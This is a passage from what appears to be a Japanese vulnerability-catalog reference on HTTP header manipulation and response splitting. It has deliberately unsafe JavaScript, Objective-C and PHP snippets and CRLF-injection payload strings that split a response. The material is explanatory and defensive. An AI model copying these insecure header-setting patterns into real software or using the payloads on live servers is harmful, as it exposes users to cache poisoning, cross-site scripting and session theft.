ページ乗っ取り攻撃: 脆弱なアプリケーションを使用して悪意あるコンテンツをユーザーに送信するほか、このルート脆弱性を利用して、サーバーによって生成されたユーザー向けの機密性が高いコンテンツを攻撃者にリダイレクトすることもあります。攻撃者は、サーバーからの意図どおりのレスポンスと、攻撃者によって生成されたレスポンスの 2 つのレスポンスを生成させるリクエストを送信することで、サーバーにより生成されたレスポンスをユーザーではなく攻撃者に送信するよう共有プロキシ サーバーなどの中間ノードを操作する可能性があります。攻撃者により作成されたリクエストが 2 つのレスポンスを生成するため、最初のレスポンスは攻撃者のリクエストへのレスポンスとして解釈されますが、2 番目のレスポンスには行き先がありません。ユーザーが同一の TCP 接続を通して正しいリクエストをすると、待機していた攻撃者のリクエストが本来のユーザーのリクエストに対するレスポンスと解釈されます。続いて攻撃者は第 2 のリクエストを送信します。プロキシサーバーは本来のユーザーのためにサーバーが生成したリクエストを使用してそれにレスポンスするため、このユーザー向けのレスポンスのヘッダーやボディに含まれる機密情報が漏洩します。

Cookie の不正操作: クロスサイト リクエスト フォージェリのような攻撃が同時に行われると、正規ユーザーの cookie が変更、追加、または上書きされる可能性があります。

オープンリダイレクト: 入力が検証されないため、リダイレクトで使用される URL が制御され、フィッシング攻撃に悪用される可能性があります。
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.java.header_manipulation
Abstract
未検証のデータを HTTP レスポンスヘッダーに含めると、キャッシュポイズニング、Cross-Site Scripting、クロスユーザー改竄、ページ乗っ取り攻撃、cookieの不正操作、またはオープンリダイレクトが発生する可能性があります。
Explanation
Header Manipulation の脆弱性が発生するのは次の場合です。

1. 信頼されていないソース (多くの場合、HTTP リクエスト) からデータが Web アプリケーションに入り込んだ場合。

2. Web ユーザーに送信される HTTP レスポンスヘッダーにデータが検証せずに含まれている場合。

多くのソフトウェアセキュリティの脆弱性と同様、Header Manipulation は目的を達成するための手段であって、目的そのものではありません。基本的には、この脆弱性は単純なものです。攻撃者は脆弱なアプリケーションに悪意あるデータを渡し、アプリケーションがそのデータを HTTP レスポンスヘッダーに含めます。

Header Manipulation 攻撃で一般的に発生する攻撃の 1 つは、HTTP Response Splitting です。HTTP Response Splitting の悪用が成功するためには、ヘッダーへの CR (キャリッジリターン、%0d または \r とも表記します) 文字や LF (ラインフィード、%0a または \n とも表記します) 文字を含む入力がアプリケーションで許容されている必要があります。これらの文字を利用して攻撃者は、アプリケーションが送信するレスポンスのヘッダーのそれ以降の部分とボディを制御できるだけでなく、追加のレスポンスを思うままに作成することが可能です。

最近のアプリケーションサーバーの多くは、HTTP ヘッダーへの悪意ある文字の挿入を防ぐようになっています。使用しているアプリケーションサーバーが改行文字を含むヘッダーの設定を防ぐようになっている場合には、アプリケーションは HTTP Response Splitting に対して脆弱ではありません。しかし、改行文字だけを単にフィルタしても、アプリケーションは Cookie Manipulation (Cookie の不正操作) や Open Redirects (オープンリダイレクト) に対して脆弱なままとなります。そのため、ユーザー入力が関連する HTTP ヘッダーを設定するときには、注意が必要となります。

例: 次のコードセグメントは、ブログのエントリの作成者名 author を HTTP リクエストから読み取り、HTTP レスポンスの cookie ヘッダーにセットします。


author = form.author.value;
...
document.cookie = "author=" + author + ";expires="+cookieExpiration;
...


「Jane Smith」のような、標準的な英数字で構成されている文字列がリクエストで送信されたと仮定した場合、この cookie を含むHTTP レスポンスは次のような形式になります。


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


ただし、cookie の値は未検証のユーザー入力から形成されているので、レスポンスがこの形態を維持するのは、AUTHOR_PARAM として送信された値に CR 文字や LF 文字が含まれていない場合だけです。攻撃者が「Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...」といった悪意ある文字列を送信すると、HTTP レスポンスは、次のような 2 つのレスポンスに分割されます。


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


2 番目のレスポンスは完全に攻撃者の支配下にあり、思うままのヘッダー内容やボディ内容で構成することができます。攻撃者は任意の HTTP レスポンスを構築できるため、Web およびブラウザキャッシュポイズニング、Cross-Site Scripting およびページ乗っ取り攻撃などの様々な攻撃を許すことになります。


キャッシュポイズニング: 悪意により構成されたレスポンスが、多数のユーザーが使用する Web キャッシュ、または 1 人のユーザーのブラウザキャッシュに保存されると、被害が拡大することがあります。レスポンスが、一般にプロキシサーバーに見られるような共有 Web キャッシュに保存されると、キャッシュエントリが消去されるまで、そのキャッシュを使用するすべてのユーザーが、悪意あるコンテンツを継続して受け取ります。同様に、個別のユーザーのブラウザキャッシュにレスポンスが保存される場合も、キャッシュエントリが消去されるまでそのユーザーは悪意あるコンテンツを継続して受け取り、ローカルのブラウザインスタンスのユーザーが被害に遭うことになります。

Cross-Site Scripting: アプリケーションから送信されるレスポンスを支配下に置いた攻撃者は、悪意あるさまざまなコンテンツをユーザーに提供できます。Cross-Site Scripting は一般的な攻撃形態で、レスポンスに含まれる悪意ある JavaScript などのコードがユーザーのブラウザーで実行されます。XSS に基づく攻撃の種類はほぼ無限にあります。一般的には、cookie などの個人情報やその他のセッション情報を攻撃者に送信したり、攻撃者の制御下にある Web コンテンツに被害者をリダイレクトしたり、脆弱性のあるサイトを装ってユーザーのマシン上で悪意ある操作を実行したりします。これは脆弱なアプリケーションのユーザーに対する最も一般的で危険な攻撃手段で、JavaScript を使用してセッション情報や Authentication 情報を攻撃者に送信し、攻撃対象のアカウントを完全に支配下に置きます。

ページ乗っ取り攻撃: 脆弱なアプリケーションを使用して悪意あるコンテンツをユーザーに送信するほか、このルート脆弱性を利用して、サーバーによって生成されたユーザー向けの機密性が高いコンテンツを攻撃者にリダイレクトすることもあります。攻撃者は、サーバーからの意図どおりのレスポンスと、攻撃者によって生成されたレスポンスの 2 つのレスポンスを生成させるリクエストを送信することで、サーバーにより生成されたレスポンスをユーザーではなく攻撃者に送信するよう共有プロキシ サーバーなどの中間ノードを操作する可能性があります。攻撃者により作成されたリクエストが 2 つのレスポンスを生成するため、最初のレスポンスは攻撃者のリクエストへのレスポンスとして解釈されますが、2 番目のレスポンスには行き先がありません。ユーザーが同一の TCP 接続を通して正しいリクエストをすると、待機していた攻撃者のリクエストが本来のユーザーのリクエストに対するレスポンスと解釈されます。続いて攻撃者は第 2 のリクエストを送信します。プロキシサーバーは本来のユーザーのためにサーバーが生成したリクエストを使用してそれにレスポンスするため、このユーザー向けのレスポンスのヘッダーやボディに含まれる機密情報が漏洩します。

Cookie の不正操作: クロスサイト リクエスト フォージェリのような攻撃が同時に行われると、正規ユーザーの cookie が変更、追加、または上書きされる可能性があります。

オープンリダイレクト: 入力が検証されないため、リダイレクトで使用される URL が制御され、フィッシング攻撃に悪用される可能性があります。
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.javascript.header_manipulation
Abstract
未検証のデータを HTTP レスポンスヘッダーに含めると、キャッシュポイズニング、Cross-Site Scripting、クロスユーザー改竄、ページ乗っ取り攻撃、cookieの不正操作、またはオープンリダイレクトが発生する可能性があります。
Explanation
Header Manipulation の脆弱性が発生するのは次の場合です。

1. 信頼されていないソース (多くの場合、HTTP リクエスト) からデータが Web アプリケーションに入り込んだ場合。


2. Web ユーザーに送信される HTTP レスポンスヘッダーにデータが検証せずに含まれている場合。

多くのソフトウェアセキュリティの脆弱性と同様、Header Manipulation は目的を達成するための手段であって、目的そのものではありません。基本的には、この脆弱性は単純なものです。攻撃者は脆弱なアプリケーションに悪意あるデータを渡し、アプリケーションがそのデータを HTTP レスポンスヘッダーに含めます。

Header Manipulation 攻撃で一般的に発生する攻撃の 1 つは、HTTP Response Splitting です。HTTP Response Splitting の悪用が成功するためには、ヘッダーへの CR (キャリッジリターン、%0d または \r とも表記します) 文字や LF (ラインフィード、%0a または \n とも表記します) 文字を含む入力がアプリケーションで許容されている必要があります。これらの文字を利用して攻撃者は、アプリケーションが送信するレスポンスのヘッダーのそれ以降の部分とボディを制御できるだけでなく、追加のレスポンスを思うままに作成することが可能です。

最近のアプリケーションサーバーの多くは、HTTP ヘッダーへの悪意ある文字の挿入を防ぐようになっています。たとえば、Apache Tomcat の最近のバージョンでは、禁止されている文字を含むヘッダーを設定しようとすると、IllegalArgumentException が発生します。使用しているアプリケーションサーバーが改行文字を含むヘッダーの設定を防ぐようになっている場合には、アプリケーションは HTTP Response Splitting に対して脆弱ではありません。しかし、改行文字だけを単にフィルタしても、アプリケーションは Cookie Manipulation (Cookie の不正操作) や Open Redirects (オープンリダイレクト) に対して脆弱なままとなります。そのため、ユーザー入力が関連する HTTP ヘッダーを設定するときには、注意が必要となります。

例: 次のコード セグメントで、namevalue が攻撃者によって制御される可能性がある場合を想定します。このコードは、名前と値が攻撃者によって制御される可能性のある HTTP ヘッダーを設定します。


...
NSURLSessionConfiguration * config = [[NSURLSessionConfiguration alloc] init];
NSMutableDictionary *dict = @{};
[dict setObject:value forKey:name];
[config setHTTPAdditionalHeaders:dict];
...


名前と値のペアが authorJane Smith で構成されると想定すると、このヘッダーを含む HTTP レスポンスは次の形式をとります。


HTTP/1.1 200 OK
...
author:Jane Smith
...


ただし、ヘッダーの値は未検証のユーザー入力から成るため、攻撃者が HTTP/1.1 200 OK\r\n...foobar などの悪意のある名前/値のペアを送信する可能性があり、その場合 HTTP レスポンスは次の形式の 2 つのレスポンスに分割されます。


HTTP/1.1 200 OK
...

HTTP/1.1 200 OK
...
foo:bar


2 番目のレスポンスは完全に攻撃者の支配下にあり、思うままのヘッダー内容やボディ内容で構成することができます。攻撃者は任意の HTTP レスポンスを構築できるため、クロスユーザー改竄、Web およびブラウザキャッシュポイズニング、Cross-Site Scripting およびページ乗っ取り攻撃などの様々な攻撃を許すことになります。

クロスユーザー改竄: 攻撃者は脆弱なサーバーに対して、2 つのレスポンスを作成させる単一のリクエストを行います。その 2 番目のレスポンスは、別のリクエスト、おそらくはサーバーとの TCP 接続を共有している別のユーザーが行ったリクエストに対する回答と誤って解釈される可能性があります。この攻撃は、攻撃者とユーザーがサーバー (共通のプロキシサーバーなど) との TCP 接続を共有している状況で、悪意あるリクエストをユーザー自身で、またはリモートから送信するよう誘導します。最も良心的な場合でも、攻撃者はこの能力を活用して、ユーザーにアプリケーションがハッキングされていると思わせ、アプリケーションのセキュリティに対する信頼を失わせる可能性があります。最悪の場合、攻撃者はアプリケーションの動作を模倣し、口座番号やパスワードなどの個人情報を攻撃者にリダイレクトするよう設計されたコンテンツを用意しています。

キャッシュポイズニング: 悪意により構成されたレスポンスが、多数のユーザーが使用する Web キャッシュ、または 1 人のユーザーのブラウザキャッシュに保存されると、被害が拡大することがあります。レスポンスが、一般にプロキシサーバーに見られるような共有 Web キャッシュに保存されると、キャッシュエントリが消去されるまで、そのキャッシュを使用するすべてのユーザーが、悪意あるコンテンツを継続して受け取ります。同様に、個別のユーザーのブラウザキャッシュにレスポンスが保存される場合も、キャッシュエントリが消去されるまでそのユーザーは悪意あるコンテンツを継続して受け取り、ローカルのブラウザインスタンスのユーザーが被害に遭うことになります。

Cross-Site Scripting: アプリケーションから送信されるレスポンスを支配下に置いた攻撃者は、悪意あるさまざまなコンテンツをユーザーに提供できます。Cross-Site Scripting は一般的な攻撃形態で、レスポンスに含まれる悪意ある JavaScript などのコードがユーザーのブラウザーで実行されます。XSS に基づく攻撃の種類はほぼ無限にあります。一般的には、cookie などの個人情報やその他のセッション情報を攻撃者に送信したり、攻撃者の制御下にある Web コンテンツに被害者をリダイレクトしたり、脆弱性のあるサイトを装ってユーザーのマシン上で悪意ある操作を実行したりします。これは脆弱なアプリケーションのユーザーに対する最も一般的で危険な攻撃手段で、JavaScript を使用してセッション情報や Authentication 情報を攻撃者に送信し、攻撃対象のアカウントを完全に支配下に置きます。

ページ乗っ取り攻撃: 脆弱なアプリケーションを使用して悪意あるコンテンツをユーザーに送信するほか、このルート脆弱性を利用して、サーバーによって生成されたユーザー向けの機密性が高いコンテンツを攻撃者にリダイレクトすることもあります。攻撃者は、サーバーからの意図どおりのレスポンスと、攻撃者によって生成されたレスポンスの 2 つのレスポンスを生成させるリクエストを送信することで、サーバーにより生成されたレスポンスをユーザーではなく攻撃者に送信するよう共有プロキシ サーバーなどの中間ノードを操作する可能性があります。攻撃者により作成されたリクエストが 2 つのレスポンスを生成するため、最初のレスポンスは攻撃者のリクエストへのレスポンスとして解釈されますが、2 番目のレスポンスには行き先がありません。ユーザーが同一の TCP 接続を通して正しいリクエストをすると、待機していた攻撃者のリクエストが本来のユーザーのリクエストに対するレスポンスと解釈されます。続いて攻撃者は第 2 のリクエストを送信します。プロキシサーバーは本来のユーザーのためにサーバーが生成したリクエストを使用してそれにレスポンスするため、このユーザー向けのレスポンスのヘッダーやボディに含まれる機密情報が漏洩します。

Cookie の不正操作: クロスサイト リクエスト フォージェリのような攻撃が同時に行われると、正規ユーザーの cookie が変更、追加、または上書きされる可能性があります。

オープンリダイレクト: 入力が検証されないため、リダイレクトで使用される URL が制御され、フィッシング攻撃に悪用される可能性があります。
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.objc.header_manipulation
Abstract
未検証のデータを HTTP レスポンスヘッダーに含めると、キャッシュポイズニング、Cross-Site Scripting、クロスユーザー改竄、ページ乗っ取り攻撃、cookieの不正操作、またはオープンリダイレクトが発生する可能性があります。
Explanation
Header Manipulation の脆弱性が発生するのは次の場合です。

1. 信頼されていないソース (多くの場合、HTTP リクエスト) からデータが Web アプリケーションに入り込んだ場合。

2. Web ユーザーに送信される HTTP レスポンスヘッダーにデータが検証せずに含まれている場合。

多くのソフトウェアセキュリティの脆弱性と同様、Header Manipulation は目的を達成するための手段であって、目的そのものではありません。基本的には、この脆弱性は単純なものです。攻撃者は脆弱なアプリケーションに悪意あるデータを渡し、アプリケーションがそのデータを HTTP レスポンスヘッダーに含めます。

Header Manipulation 攻撃で一般的に発生する攻撃の 1 つは、HTTP Response Splitting です。HTTP Response Splitting の悪用が成功するためには、ヘッダーへの CR (キャリッジリターン、%0d または \r とも表記します) 文字や LF (ラインフィード、%0a または \n とも表記します) 文字を含む入力がアプリケーションで許容されている必要があります。これらの文字を利用して攻撃者は、アプリケーションが送信するレスポンスのヘッダーのそれ以降の部分とボディを制御できるだけでなく、追加のレスポンスを思うままに作成することが可能です。

最近のアプリケーションサーバーの多くは、HTTP ヘッダーへの悪意ある文字の挿入を防ぐようになっています。たとえば、PHP の最近のバージョンでは、改行が header() 関数に渡されると、警告を生成し、ヘッダーの作成を中止します。使用している PHP のバージョンが改行文字を含むヘッダーの設定を防ぐようになっている場合には、アプリケーションは HTTP Response Splitting に対して脆弱ではありません。しかし、改行文字だけを単にフィルタしても、アプリケーションは Cookie Manipulation (Cookie の不正操作) や Open Redirects (オープンリダイレクト) に対して脆弱なままとなります。そのため、ユーザー入力が関連する HTTP ヘッダーを設定するときには、注意が必要となります。

例: 次のコードセグメントは、location を HTTP リクエストから読み取り、HTTP レスポンスのヘッダーの location フ ィールドにセットします。


<?php
$location = $_GET['some_location'];
...
header("location: $location");
?>


